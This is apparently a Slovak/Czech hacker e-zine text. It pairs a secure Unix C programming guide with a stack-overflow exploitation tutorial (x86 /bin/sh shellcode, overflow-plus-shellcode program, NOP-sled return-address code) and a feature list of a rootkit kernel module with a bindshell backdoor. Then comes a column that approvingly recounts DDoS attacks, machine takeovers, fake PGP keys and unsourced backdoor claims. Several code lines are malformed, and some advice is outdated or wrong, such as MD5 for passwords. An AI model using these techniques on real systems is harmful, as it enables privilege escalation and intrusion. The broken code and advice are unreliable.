Pouzivat silne hesla = vela znakov, pouzit male aj velke pismena, cisla a nealfanumericke znaky
Obmedzenie bezpecnostnych chyb pri programovani
Vyvojari definuju chybu (error) ako ludsky omyl pri navrhu a tvorbe programu. Vady (faults) su prejavy chyb,
ktore mozu viest k zlyhaniu (failure). Neuspech je odchylka od specifikacie programu. Zvycajne sa aj vady
oznacuju ako chyby (resp. bugs).
V programe mozu byt chyby ale nemusia nutne sposobit problem pokial sa neprejavia zlyhanim. Testovanie ma viest
k zlyhaniu pred tym ako sa program zacne pouzivat v ostrej prevadzke.
Chyby v programe vznikaju tym, ze niekto urobil chybu, ci uz z neznalosti, uponahlanosti, neopatrnosti alebo z ineho dovodu.
Vacsina unixoveho softwareu bola napisana bez detailnej specifikacie, preto sa casto stretavame s pojmom
"it's not bug, it's feature.", ktory sa nas snazi presvedcit, ze "to nie je chyba, to je vymozenost".
Program beziaci so superuzivatelskymi pravami by mal byt napisany tak bezpecne ako je to len mozne.
V najlepsom pripade je ihned po vykonani privilegovanej operacie (napr. po nabindovani na port <1024)
zahodit superuzivatelske privilegia a dalej bezat ako bezny uzivatel.
V pripade ze zlyha program beziaci s uid0, moze to viest k naruseniu celeho systemu.
Pri pisani programu treba mat v prvom rade jasny koncept, vediet presne ake budu vstupy a ake vystupy.
Specialne sa treba zamerat na vstupy, aby nemohli ziadnym sposobom 'prekvapit' nas program,
napr. necakanym formatovanim, velkostou a podobne.
Pred volanim systemovych funkcii je vhodne testovat parametre s ktorymi ich ideme volat.
Oplati sa preverit aj systemove premenne.
Funkciam, ktore nerobia kontrolu hranic pri praci s retazcami volitelnej dlzky sa treba vyhnut. Napriklad
toto su "nebezpecne" funkcie - gets(), strcpy(), strcat() a tu ich bezpecne verize - fgets(), strncpy(), strncat().
Nasledujucim funkciam treba riadne prekontrolovat vstupne parametre, pretoze ich spravnym nastavenim je mozne sposobit
preplnenie cieloveho buffra, pripadne interneho buffra s pevnou dlzkou - sprintf(), fscanf(), scanf(), sscanf(),
vsprintf(), realpath(), getopt(), getpass(), streadd(), strecpy(), strtrns().
Samozrejme v systeme sa moze nachadzat plno dalsich potencialne nebezpecnych funkcii, ich bezpecnost zavysi na tom
ako bezpecne sa pouziju. Pri pouziti funkcii je dobre si overit, ci beru do uvahy obmedzenie maximalnou dlzkou.
Vsimnite si tiez, ci v dokumentacii nieje uvedene, ze funkcia vracia pointer na nejaky staticky ulozny priestor.
Pri preplneni vstupu takehoto bufferu okamzite vznikne problem.
V Unixe mame z takmer kazdeho systemoveho volania navratovu hodnotu. Aj ked sme presvedceny, ze pouzite volanie
write(), chdir(), chown() nemoze zlyhat, treba ratat s tym, ze vo vynimocnych pripadoch sa to predsa len moze stat.
Utocnik/nahoda moze sposobit stav, ked systemove volanie zlyha a bez overenia navratoveho kodu sa o tom nedozvieme.
Je teda dobre kontrolovat premennu errno a v pripade ze sa nerovna 1 ale nejakej zapornej hodnote, je vhodne podat
o tom hlasenie a program ukoncit.
"Co si sam neurobis nemas" - tymto prislovim je dobre sa riadit aj pri programovani. Netreba sa spoliehat na
systemove premenne, ktore by mali byt defaultne nastavene, taktiez signaly, umask, aktualny adresar atd.
Pokial je to mozne, najefektivnejsi sposob ako vycistit systemove premenne je pouzit envp.
Pri programovani mozme pouzivat makro assert, ktore zaisti v pripade ze nejaka premenna neobsahuje hodnotu
z definovaneho intervalu prerusenie programu s chybovou hlaskou. Treba si tu ale dat pozor na heisenbugy.
Dobrou pomockou moze byt logovanie na vsetkych podstatnych miestach. V pripade ze sa ma logovat cez syslog
treba kontrolovat dlzku parametrov predavanych syslogu.
Pri kompilacii je dobre pouzit parameter -Wall, alebo aspon pred tym prebehnut zdrojaky lintom, ktory je
schopny najst zakladne chyby.
Casto sa stava ze programator nedostatocne kontroluje subory. Nasa aplikacia
totiz nieje jedina, ktora bezi a moze sa stat, ze ina pristupi k suboru po
tom co sme otestovali jeho spravnost a pred tym ako ideme s nim pracovat.
Preto je dobre nepouzivat postup access() a open(), ale radsej subor otvorit
a az potom fchown(), fchmod(), alebo fstat().
Nieje vhodne nechavat v programe moznost volania noveho shellu. V dnesnom
prostredi modernych unixov to uz nieje nutne. Rovnako sa treba vyvarovat
volani system() a popen().
Pri otvarani suborov je dobre pouzit priznaky O_EXCL|O_CREAT v pripade ze
subor nema existovat, resp O_CREAT ak uz existuje. Zaruci to spravne chybove
hlasenia.
Na testovanie ci sa jedna o subor, alebo odkaz mozme pouzit lstat(). Netreba
zabudnut, ze pokial je dany subor/linka vo verejne pristupnom adresari, moze
sa to zmenit.. Najlepsie je pracovat so subormi v adresaroch nepristupnych
pre ostatnych uzivatelov (samozrejme pokial je to mozne).
Ak potrebujete ukladat uzivatelske hesla na autentifikaciu uzivatelov,
ukladajte ich miesto plaintext formatu v kryptovanej podobe. Dnes je
najvyuzivanejsi MD5 hash, co nieje vlastne sifra, ale kontrolny sucet, ale
na nase ucely posluzi velmi dobre.
Tvorba sietovych aplikacii
Neodporuca sa pouzivat porty sluzieb "natvrdo", ale cez volanie getservbyname().
Nedoverovat paketom len preto, ze prichadzaju z nizkych portov (<1024).
Nedoverovat paketom len kvoli ich IP adrese.
Pri zistovani mena hostu pouzivajte reverzne vyhladavanie aj so spatnym vyhladanim hosta.
Je vhodne pouzit nejaku metodu limitacie pre pripad cieleneho/nahodneho pretazenia.
Rozumne nastavovat timeouty na read/write zo siete.
Samozrejme treba dokladne kontrolovat vstup na velkost.
Moze byt vhodne pouzit auth sluzbu na prichodzie spojenia.
Skuste sa vyvarovat pouzitiu clear-text loginu/hesla pri prenose po sieti.
Podpora proxy (napriklad SOCKS) sa moze zist, ak to ma pre vas vyznam zahrnte ju do vasej aplikacie.
Logovanie do suboru/syslogu by mala byt samozrejmost.
Reakcia na signaly (napr. TERM) moze pomoct pri 'zmrznuti' aplikacie (napr. prilis vela timeoutov).
Pri spusteni je dobre zistit si, ci uz nieje na danom servri tato aplikacia spustena, aby nedoslo k zablokovaniu.
Pisanie SUID/SGID programov
Nepiste ich. Vacsinou je to zbytocne. (UNIX System Security - Patrick H. Wood and Stephen G. Kochman, Hayden Books, 1985)
Nepiste SUID SHELL scripty.
Pokial chcete pouzit SUID program len pre pristup k nejakym suborom, skuste
pouzvazovat, ci by sa to nedalo vyriestit pomocou nastavenia GID jednotlivym
uzivatelom. Pripadne ci by nestacil SGID program. Ak uz musi byt SUID
vytvorte prenho specialneho uzivatela. Tiez je dobre obmedzit jeho spustanie
pomocou skupinovych prav.
Ak potrebujete aby program prevadzal len jednu konkretnu operaciu s uid0,
vytvorte k hlavnemu programu jeden jadnoucelovy maly, jednoduchy SUID
program, ktory bude svedomite kontrolovat vstup z hlavneho programu.
Vseobecne komunikacia hlavneho programu a tymto suidom musi byt co najdokonalejsia.
Program by mal po pouziti zvysenych privilegii ihned zrusit ich vplyv a
vratit sa k efektivnym a realnym UID a GID, ktory ten program spustil.
Nevytvarajte prilis mnoho konfiguracnych moznosti v SUID programe, zbytocne
sa tak zvysuje riziko chyby.
Pokial je to mozne, vymazte prostredie shellu a vytvorte nutne zaznamy sami.
Premennu PATH IFS je dobre nastavit na vychodziu hodnotu, napriklad:
putenv("PATH=/bin:/usr/bin");
putenv("IFS= tn");
Nasledne si overte, ci su tieto premenne nastavene korektne a ci sa v
systeme nenachadzaju aj dalsie zmienky o tychto premennych.
Ak chcete spustat z vasej aplikacie dalsie programy, pouzivajte len volania
execve(), exevc() a excl() a aj to s maximalnou opatrnostou.
Nepouzivajte volanie execlp() a execvp(), pretoze tie pouzivaju premennu PATH.
Ak by nahodou musel umoznovat spustanie shellu, pred vykonanim uzivatelskeho
prikazu nezabudnite na setgid(getid()) a setuid(getuid()).
Pri otvarani vsetkych suborov pouzivajte vzdy plne cesty. Nespoliehajte sa
na aktualnu cestu po spusteni.
Linkujte program staticky, vyhnete sa tak problemov s podvrhnutymi kniznicami.
Pouzitie funkcie chroot()
Zvysenu bezpecnost systemu mozte ziskat pomocou volania chroot().
Toto volanie nastavi pre sputeny proces zadany korenovy adresar. Tym sa
zamedzi pristupu do vyssich adresarov v stromovej strukture systemu.
V pripade ze vas program potrebuje zdielane kniznice, musite mu ich
nakopirovat do chrootovaneho prostredia, pripadne ho zkompilovat staticky.
Pred pouzitim chrootu treba mysliet na syslog a je dobre bud spusit
openlog(), alebo v chrootovanom prostredi vytvorit subor zariadenia /dev/log.
Je dobre si uvedomit, ze ani chroot nie je vseliek. Dostatocne znaly utocnik
sa moze vediet prebit aj z chrootu. Ztazit mu to mozete tak, ze chroote
nechate naozaj len prikazy a subory, ktore tam nutne musia byt.
Buffer Overflow
Priklad pretecenia buffra:
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
/pr.0xb.1/
Po kompilacii a spusteni horeuvedeny kod vrati segmentation fault. To sa stane preto, ze
function() sa pokusa kopirovat large_string do buffer pomocou strcpy(), ktore nerobi
kontrolu hranic. strcpy() jednoducho pokracuje so zapisovanim, pokial neskonci large_string.
To ma za nasledok prepisanie SFP, RET and *str. Znazornenie:
+-----------------------+ +-----------------------+
|,,,,,,,argc,,,,,,,,,,,,| |,,,,,,,argc,,,,,,,,,,,,|
+-----------------------+ +-----------------------+
|.uzivatelsky.zasobnik..| |.uzivatelsky.zasobnik..|
+-----------------------+ +-----------------------+
| *str | | strcpy() sa pokusi |
+-----------------------+ | zapisat 256 bajtov do |
| ret | ^ | do buffra,cim prepise |
+-----------------------+ | | sftp, ret a *str. |
| sfp | | | |
+-----------------------+ | +-----------------------+
| buffer[16] | | | buffer[16] |
| | | | |
+-----------------------+ +-----------------------+
|.......heap............| |.......heap............|
+-----------------------+ +-----------------------+
|,,,,,,,bss,,,,,,,,,,,,,| |,,,,,,,bss,,,,,,,,,,,,,|
+-----------------------+ +-----------------------+
pred zavolanim strcpy() po zavolani strcpy()
Zapisanim retazca A-ciek (0x41 hexa) do, a cez zasobnik sa zmenila navratova adresa
mimo rozsah adresneho priestoru procesu. Proces nemoze nacitat dalsiu instrukciu
a preto je ukonceny s hlaskou Segmentation Fault.
Tento priklad ukazuje, ako sa da zmenit navratova adresa dynamickej funkcie pomocou
pretecenia sposobeneho jednou funkciou ktora kopiruje blok dat bajt po bajte.
Manipulacia s navratovou adresou funkcie v zasobniku je zaklad vsetkych Buffer Overrunov
utociacich na SUID ROOT binarky. Zmenenim navratovej adresy pomocou statickeho retazca
obsahujuceho shell kod spravi z obycajneho nekontrolovaneho kopirovania stringu instrukciu,
ktora moze spustit lubovolny kod v zasobniku.
Shell kod
Ako sme si ukazali v predchadzajucom odstavci, manipulaciou dynamicky alokovanych premennych
pomocou neohranicenych byte-copy operacii mozme spustit lubovonly kod cez navratovu adresu,
ktora je 'slepo' obnovena zo zasobniku pri odchode z funkcie. Ak to aplikujeme na SUID ROOT
binarku, utocnik si moze nechat spustit /bin/sh s pravami superuzivatela a ziska tak kontrolu
nad celym systemom. Samozrejme moze pouzit aj iny shell, ale /bin/sh sa nachadza vo vsetkych
UNIXovych systemoch a je predvoleny shell pre uzivatela root.
Aby sme dosiahli spustenie interaktivneho shellu, niekde v pamati sa musi nachadzat staticka
sekvencia spustenia /bin/sh, na ktoru bude ukazovat zmanipulovana navratova adresa.
To sa da dosiahnut pouzitim assemblerovskeho hexadecimalneho stringu, ktory je binarnym
ekvivalentom standartnej C funkcie execve(name[0], "/bin/sh", NULL). Samozrejme assemblerovsky
ekvivalent k tomuto volaniu je zavysli na architekture. Za pouzitia debugovacich nastrojov
je mozne rozdelit volanie ako execve(name[0], "/bin/sh", NULL) rozkuskovanim na jednotlive
ASCII assemblerovske sekvencie a ich ulozenim v znakovom poli alebo inej spojitej datovej forme.
Na Intel x86 stroji, na ktorom bezi Linux musime podniknut nasledujuce ktory na ziskanie shell kodu:
1. V pamati sa vyskytuje nulou zakonceny string /bin/sh
2. V pamati sa vyskytuje string /bin/sh zakonceny nulovym long-wordom
3. 0xb sa kopiruje do EAX registra
4. Adresa stringu /bin/sh sa zkopiruje do EBX registra
5. Adresa stringu /bin/sh sa zkopiruje do ECX registra
6. Adresa nuloveho long-wordu sa skopiruje do EDX registra
7. Vyvola sa int $0x80 co je standartne prerusenie na Intel procesoroch
8. 0x1 sa nakopiruje do EAX registra
9. 0x0 sa nakopiruje do EBX registra
a. Vyvola sa int $0x80 co je standartne prerusenie na Intel procesoroch
Tento zoznam sa da zapisat do x86 shell kodu pomocou standartneho ANSI C znakoveho pola:
char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
Kombinacia prikladu buffer overflowu a shell kodu:
char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string; /* long_ptr obsahuje adresu large_stringu */
/* prvych 32 bajtov large_stringu je vyplnenych adresou buffra */
for( i = 0; i < 32; i++)
*(long_ptr + i ) = (int) buffer;
/* zkopiruj shell kod do large_stringu */
for( i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
/* buffer dostane shell kod a 32 pointerov spat na seba sameho */
strcpy(buffer,large_string);
}
/pr.0xc.1/
Najprv je large_string vyplneny adresou buffra, ktora ukazuje na buducu poziciu v pamati,
kde bude ulozena nas shell kod. Potom sa shell kod prekopiruje na zaciatok znakoveho pola large_string.
Dalej strcpy() zkopiruje large_string do buffra, cim prepise navratovu adresu adresou shell kod sekvencie.
Ked sa main() funkcia dokonci, program miesto navratu skoci na adresu nasho shell kodu a vykona ho.
Vysledkom bude, ze dostanete interaktivny shell. Vpripade ze pouzivate napr. bash1, a tomu to testovaciemu
programu nastavite SUID bit, interaktivny shell bude bezat s efektivnym uid euid(0).
+-----------------------+ +-----------------------+
|,,,,,,,argc,,,,,,,,,,,,| |,,,,,,,argc,,,,,,,,,,,,|
+-----------------------+ +-----------------------+
| uzivatelsky zasobnik | | uzivatelsky zasobnik |
+-----------------------+ +-----------------------+
| ret | | o ^ ret |
+-----------------------+ +-s--v--|---------------+
| sfp | | t e | sfp |
+-----------------------+ +-r--r--|---------------+
/----- | long_ptr | | c f | long_ptr|
| +-----------------------+ +-p--l--|---------------+
|(x32) | i | | y o | i |
| +-----------------------+ +----w--|---------------+
| /-- | buffer | /-> | | buffer |
| | +-----------------------+ | +-----------------------+
| -> | | -- | |
| | | | |
----> | large_string[128] | | large_string[128] |
| | | |
/-> | | /-> | |
| +-----------------------+ | +-----------------------+
-- | shellcode[] | -- | shellcode[] |
| | | |
+-----------------------+ +-----------------------+
|.......heap............| |.......heap............|
+-----------------------+ +-----------------------+
|,,,,,,,bss,,,,,,,,,,,,,| |,,,,,,,bss,,,,,,,,,,,,,|
+-----------------------+ +-----------------------+
pred zavolanim strcpy() po zavolani strcpy() ; ret je prepisany
Realny stack smashing
V predchadzajucom pripade sme mali pre jednoduchost predkompilovany shell kod ako
sucast programu. UNIXove SUID root aplikacie urcite nebudu obsahovat shell kod :)
Aby sme ich mohli exploitovat, potrebujeme najst sposob ako vlozit shell kod do prostredia
beziaceho programu. Mozme to spravit cez prikazovy riadok, premenne shelloveho prostredia,
alebo cez interaktivny vstup. Velmi dolezite je vediet kde v pamati sa potom bude shell kod
nachadzat, preto utocnici zvycajne vyplnaju shell kod s NULL argumentom (co v assembleri
znamena no-operation, cize procesor jednoducho skoci na dalsiu instrukciu v poradi) co im zaisti
sirsi priestor na 'trafenie' spravnej navratovej adresy. Takyto postup doplneny o kopec
navratovych adries na konci shell kodu je najcastejsie pouzivany pri vytvarani stack smashing
exploitov. V pripade ze obetou je maly program s obmedzenymi pametovymi narokmi, exploit sa
zvykne ulozit do premennej prostredia.
Pisanie exploitov vyuzivajucich preplnenie zasobnika
Zopakujme si rozlozenie zasobniku:
+4 bajty | parametre ... |
+-----------------------+
+4 bajty | navratova adresa | velkost 4 bajty
+-----------------------+
SP | base pointer | velkost 4 bajty
+-----------------------+
-1024 bajtov | lokalne pole2[1024] | velkost 1024 bajtov
+-----------------------+
-2048 bajtov | lokalne pole1[1024] |
+-----------------------+
| ... |
Zopakujme si princip buffer overflowu:
Zapiseme do premennej pole2 tolko dat, aby sme prepisali base pointer (co je len
vedlajsi efekt) a navratovu adresu (o to nam ide). V tomto pripade teda do
pole2 musime zapisat 1032 bajtov (1024+4+4)
+4 bajty | parametre ... |
+-----------------------+
+4 bajty | 4 krat "X" | velkost 4 bajty
+-----------------------+
SP | 4 krat "X" | velkost 4 bajty
+-----------------------+
-1024 bajtov | 1024 krat "X" | velkost 1024 bajtov
+-----------------------+
-2048 bajtov | lokalne pole1[1024] |
+-----------------------+
| ... |
Samozrejme sami zapisane data nebudu "X", ale take, aby navratova adresa
bola prepisana adresou nasho shell kodu, ktory ma byt vykonany pri
ukoncovani programu, ked sa zavola ret. Samozrejme shell kod sa musi nejako
dostat do programu. Idealne je zapisat do pole2 shell kod, a nakoniec adresu tohto shell kodu.
Napriklad takto:
+4 bajty | parametre ... |
+-----------------------+
+4 bajty | adresa shell kodu | ---
+-----------------------+ |
SP | 4 nevyznamne bajty | |
+-----------------------+ |
-1024 bajtov | shell kod | <--/
+-----------------------+
-2048 bajtov | lokalne pole1[1024] |
+-----------------------+
| ... |
Takze teraz by sme potrebovali upravit nas shell kod, aby bol presne tak dlhy ako premenna,
ktoru ideme prepisat, ba aj o cosi dlhsi ;-).
Presne o 8 bajtov - base pointer (4bajty) + ret adresa(4bajty).
Linearny diagram by mohol vyzerat asi takto: .... ...
Priklad upravy x86 shell kodu:
#define lv_size=1024; /* dlzka premennej, na ktoru utocime */
char buffer[lv_size+8]; /* pozicia navratovej adresy */
/* execshell je pole s nasim shell kodom */
for(i=0;i<lv_size-strlen(execshell);i++)
ptr[i]=0x90;
for(i=0;i<strlen(execshell);i++)
ptr[i+lv_size-strlen(execshell)]=execshell[i];
Pripadne elegantnejsi sposob:
#define lv_size=1024
char buffer[lv_size+8]
memset(ptr,0x90,lv_size-strlen(execshell));
ptr+=lv_size-strlen(execshell);
for(i=0;i<strlen(execshell);i++)
*(ptr++)=execshell[i];
Pre ine platformy ma instrukcia NOP (0x90) iny opcode.
Ziskanie realnej adresy zasobnika
Adresu ukazatela na zasobnik pred nastavenim lokalnych premennych a navratovej adresy
nazvyme OSP - Original Stack Pointer.
K OSP pridame taky offset, aby CPU skocilo niekde do bloku nasich -ov a po ich vykonani
spustilo aj nas shell kod.
+4 bajty | parametre ... |
+-----------------------+
+4 bajty | adresa OSP + offset | ---
+-----------------------+ |
SP | 4 nevyznamne bajty | |
+-----------------------+ |
-1024 bajtov | [shell kod] | |
| [nop] | |
| [nop] | ---/ OSP + offset
| [nop] | -------
| [nop] | | offset
| [...] | | vacsi
+-----------------------+ | ako
-2048 bajtov | lokalne pole1[1024] | | 1024
OSP -> +-----------------------+ -------/
| ... |
V tomto priklade sme mali pred premennou, ktoru sme modifikovali este jednu lokalnu premennu.
Offset k OSP teda musel byt vacsi ako dlzka tejto lokalnej premennej, aby sme ju preskocili.
Aby sme dostali adresu SP, pouzijeme funkciu get_sp(), jejiz portovatelna verze vypada zhruba takto:
function unsigned long get_sp(void)
{
int x;
return (unsigned long) &x;
}
Prvy Priklad zistenia SP:
/* ptr2 je long alebo dword pointer na ptr, ktory ukazuje na navratovu adresu v buffri */
ptr2=(long *)ptr;
*ptr2=get_sp()+offset;
Druhy (robustnejsi) priklad zistenia SP:
/* ptr2 je long alebo dword pointer na ptr, ktory ukazuje na navratovu adresu v buffri */
ptr2=(long *)ptr;
for(i=1;<8;i++)
*(ptr2++)=get_sp()+offset;
Tento priklad zapisal navratovu adresu osem krat do zasobnika, takze aj v pripade ze adresa zasobnika
nebola presne urcena mame vacsiu sancu ze sa trafime. Nutno poznamenat ze na architekturach
kde stack roste od nizssich adres k vyssim musime adresu odcitat, tj. get_sp()-offset;
Moduly jadra
Moduly jadra (Hovori sa im tiez Loadable Kernel Modules [LKM]) po zavedeni do kernelu bezia
s maximalnymi privilegiami a to v rezii kernelu. Preto musime zabezpecit, aby obycajny uzivatel
nemal moznost vlozit do jadra nejaky modul, alebo aby nemohol pozmenit moduly ulozene v systeme.
Najdokonalejsie maskovacie nastroje pouzivane utocnikmi pouzivaju prave jadra v module, aby skryli
vybrane adresare/subory, sietove spojenia, md5-checksumy a procesy. Tak isto existuju moduly,
ktore prave naopak monitoruju nekale cinnosti v systeme a v pripade podozrenia na utok informuju
administratora a pripadne pokus o utok zastavia.
Maskovanie spociva v modifikacii systemovych volani na ich upravenu verziu v nasom module.
Aby sme zmodifikovali systemove volanie, pridame definiciu extern void *sys_call_table[] do
naseho lkm a pomocou init_module() funckie zmenime zodpovedajucu polozku v sys_call_table,
aby ukazovala na nas vlastny kod. Tymto si zabezpecime plnu kontrolu nad danym systemovym volanim
a vsetky programy, ktore ho vyuzivaju tym budu ovplyvnene.
Je teda jasne, ze takymto zasahom do jadra systemu je velmi obtiazne najst utocnika a dostat
ho zo servra von. Preto je dobre sa branit uz prevenciou a zabezpecenim samotneho jadra. Prevencia
moze byt napriklad aj vypnutie pouzivania modulov pri kompilacii jadra. Zial nasli sa uz aj
taky ludia, ktory prisli na to, ako modifikovat systemove volania v jadre, ktore nepouziva LKM.
To je uz ale mimo ramec tohto dokumentu (vid. prielom, resp. phrack).
Samotny modul sa moze maskovat tak, ze pri vypise /proc/modules sa vynecha. Da sa to ale jednoducho
obist napriklad pouzitim prikazu dd - dd if=/proc/modules bs=1. Samozrejme existuje mnoho dalsich
sposobov, ktore su sice zlozitejsie, ale poskytuju sluzbu dokonalejsieho maskovania.
Prikladny modul mozete najst v prilohe. Pochadza z Phrack52. Jeho hlavne crty:
- maskovacie funkcie: po zavedeni do jadra zmodifikuje struct module *mp a get_kernel_symbols(2),
takze sa nezobrazi v /proc/modules alebo vystume ksyms. Neda sa unloadnut z jadra.
- utajenie sniffra: zmeni ioctl(2), takze PROMISC priznak bude schovany. Sniffer musi byt spusteny
pred zavedenim tohoto modulu.
- zmiznutie suborov: systemove volanie getdents(2) budu tiez zmenene, takze subory obsahujuce
dane slovo budu neviditelne.
- maskovanie procesov: podobne ako maskovanie suborov - procesy obsahujuce dane argv polozky
sa nebudu zobrazovat a nenajdeme ich ani v /proc/ filesysteme
- presmerovanie execve: ked sa ma spustit definovany program, tento modul spusti miesto neho
iny program. Pouziva volanie brk(2) specialnym sposobom, na zvacsenie datoveho segmentu
programu este pokial je v kernel rezime. To je 'vymozenost' linuxu.
- socket recvfrom() backdoor: po prichode packetu, ktory ma danu velkost a obsahuje dany retazec,
spusti sa program. Vacsniou ide o shellovsky skript, ktory spusti bindshell.
- setuid() trojan: po spusteni suid programu s konkretnym uid, volajuci proces dostane
uid = euid = gid = 0
Moduly, resp upravy jadra sa daju vyuzit aj ako velmi silna ochrana systemu. Takyto modul moze
strazit pristupy k jednotlivym suborom a zariadeniam, moze sledovat zmenu
privilegii jednotlivych uzivatelov a procesov.
Existuju rozne balicky, ktore sa staraju o zabezpecenie (zatesnenie) linuxoveho jadra.
Ako priklad mozme uviest napriklad Medusa (SK), LIDS (FR) a RSBAC (DE).
Ich pristup k problemu je rozny, ale vysledkom je hlavne detailne rozdelenie pristupovych prav
k chulostivym castiam systemu a notifikacia vo vlastnej rezii, alebo cez unixovy klog/syslog.
Pouzita literatura:
Historia Unixu
http://cm.bell-labs.com/cm/cs/who/dmr/hist.html
http://www.english.uga.edu/hc/unixhistory.html
Popis programatorskych chyb
http://www.tuxedo.org
Popis stack smashingu
Natan P. Smith - Stack Smashing Vulnerabilities in the UNIX Operating System [1997] .ps
Pisanie stack overflow exploitov
PALSMOID/THC iN 1996 - STACK OVERFLOW EXPLOiTS ON LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UX
Ing. Zdenek Vratil - Architektura PC na bazi Pentia [1994]
Hatch, Lee Kurtz - Linux, Hackerske Utoky [2002]
O'Reilly - Bezpecnost v UNIXu a Internetu v praxi [1998]
maniac, maniac(at)localhost.sk, odborna korektura by sd(at)hysteria.sk a wilder wilder(at)hq.alert.sk
navrat na obsah
co ty na to ? board
cerne a bile klobouky
ackoli to tak muze vypadat, kdepak, toto nema nic spolecneho s modou, i kdyz pojem
"blackhat" a "whitehat" se dnes stavaji modernimi a dostavaji se do podvedomi
verejnosti. ja se tady jenom pokusim ujasnit co presne to znamena a vubec provest
ctenare "politickou slozkou" security sceny, vezmeme si tady na paskal
nejznamejsi jmena a sjedem je jako politiky v nejakem bulvarnim platku, ostatne proc
taky ne, zaslouzi si to. (tak me napada muze byt prielom bulvarni platek ?)
na uvod co to tedy znamena, nalepkou "whitehat" se povetsinou oznacuji lidi co
security rozumi a nebo alespon delaji ze security rozumi (theo de raadt, ron dufresne ...
;-), pisou security software, pripadne nalezene bugy v jinem softwaru okamzite
zverejnuji k velke a vseobecne radosti verejnosti. na druhe strane, blackhat je
nekdo kdo najde bug v nejakem softwaru, napise si na nej exploit a pouziva ho ke
vseobecne radosti sve. potud vsetko v poradku dokavad se nezacali dit _fakt_ spatne
veci se securityfocus, nasli se "security experti" jako iss (www.iss.net), o tom dale ;-) nuze
...
security firmy
vypada to ze zacina realna kyberneticka valka mezi hackery, jak o ni mnozi
cyberpunkovy spisovatele snili. v poslednich dvou letech se security scena stala
natolik byznysem ze se do ni zacali cpat lide co jsou spise ekonomove nez
programatori. vzniklo spousty "security labu", jako hub po desti viz treba iss. u
iss je treba se na chvili zastavit - je to velice zajimava corporation jakozto
nedisponujici zadnymi schopnymi lidmy stale publikuje nove a nove bugy v masivne
pouzivanem softwaru, coz je nanejvis podezrele. nuze jak to je doopravdy:
remote shell bug v php (www.cert.org/advisories/CA-2002-21.html) - nalezen a uspesne exploitovan blackhat
slozkou skupiny
teso, nanestesti exploit byl leaknut script kiddo komunite, takze netrvalo dlouho a
spousta lidi "nasla" bug v php.
apache chunking vulnerability (www.cert.org/advisories/CA-2002-17.html),
(opet teso - existuje funkcni exploit na solaris,
linux a *bsd, pro ty co nemohou spat - pouziva se hezka kombinace signalu a
scoreboard, gobbles napsal rychlejsi exploit vyuzivajici faktu ze memcpy() je
ekvivalent memmove() na *lsd) - tento bug byl po dobu asi pul roku privatni
zalezitost, ale pak o nem jeden z clenu skupiny teso (byl to zip, kompletne se
zdiskreditoval a kdokoli se snim odmita bavit, btw) rekl iss (zda-li za uplatu ci ne
nikdo netusi) a dalsi "profesionalni" security advisory od iss je na svete. v tuto
chvili iss inkasuje obrovske sumy za sve "enterprise security solutions" a v pojmu
"ty odbornici na sekjurity" jsou takrka fenomemem.
openssh 2.9-3.3 remote challenge remote root bug (www.cert.org/advisories/CA-2002-18.html) - nalezeno nekolika blackhat
skupinami nezavisle na sobe, po dlouhou dobu privatni zalezitost, bug je vicemene
nezajimavy ponevadz z hlediska defaultnich instalaci je napadnutelne opravdu jen
openbsd.
bind8 recursive query response bug (www.cert.org/advisories/CA-2002-31.htm) - asi rok stara zalezitost jednoho _velice_
schopneho clovicka z adm. tento bug a jeste nektere jine o kterych nechci a ani
nemuzu psat byli a jsou mimojine zneuzivany k infiltraci source ftp a cvs velice
zajimaveho softu ;-) btw, apache.org _melo_ backdoornute zdrojove .tar, ale jen na
dobu nekolika minut a do dneska to odmitaji priznat ;p), jak se dostal do paratu iss
je velice zajimava historie, ale zhruba to je tak ze adm ownulo pomoci tohoto bugu
jednomu "security expertovi" masinu, ktery si toho po nekolika dnech vsimnul (sakra,
to je nahoda) a nanestesti na teto siti bezel packet logger. a ponevadz na dane
masine krome dns nic jineho nebezelo, dali si 1+1 dohromady, udelala se analyza
paketu a z toho uz se dalo relativne usoudit kolik uhodilo.
neni proto divu ze blackhat komunita (drtiva vetsina techto bugu pochazi prave
odsud) je na iss a jim podobne patricne nasrana, kdo by taky nebyl. iss si buduje
jmeno, postaveni a dokonce vydelava zavratne sumy na mnohdy mnohamesicni praci
nekoho jineho.
pr0j3kt m4yh3m
je "odboj" proti tzv. "security expertum", ackoli nekteri lide to berou az moc na smrt
vazne a fanaticky (www.phrack.ru), s cim zase nesouhlasim, urcite existuji i korektnejsi cesty, ale
generalne je tato myslenka spravna. z predchoziho textu si asi kdekdo muze myslet ze
blackhat vs. whitehat je boj na zivot a na smrt, neni to zase tak drsny: pr0j3kt
m4yh3m se snazi zasahovat proti iss a jim podobnym, vzhledem k tomu kolik lidi se
toho ucastni, castecne se to i dari. poradaji se ddos utoky na scriptkiddie a
whitehat sajty (to delaji ti mene sikovni), ti vice sikovni primo ownujou stroje
interesantnich lidi. dela se psychologicky natlak (distribuovani fake pgp klicu do
velkych pgp klicenek, takze cilene osoby nemohou prilis dobre vyuzivat pgp), dela se
masova inpersonace aby se dane osoby zdiskreditovaly. delaji se masove dezinformace,
coz nekdy muze zpusobit komicke situace jako treba kdyz phc stvorilo ac1db1tch3z rumour
(a to velice jednoduchym spusobem - stacilo pastnout na #darknet@efnet fake banner
a domluvit se ostatnima lidma aby na /msg skriptkidacku odpovidali ze neco takoveho
existuje ;-)
doslo to tak daleko ze se toho chopilo nekolik chytraku a na mnoha prestiznich
konferencich, vcetne bugtraqu, tam o tom byl rozsahly thread kde vsichni ze vsech stran
rozebiraji zda-li opravdu existuje remote root linux kernel exploit ;p
ze je to spatne ? drogy jsou treba taky spatne - ale druha strana fronty to dela taky
viz. treba securityfocus kdyz posilali vlastni fake posty na bugtraq od stealtha
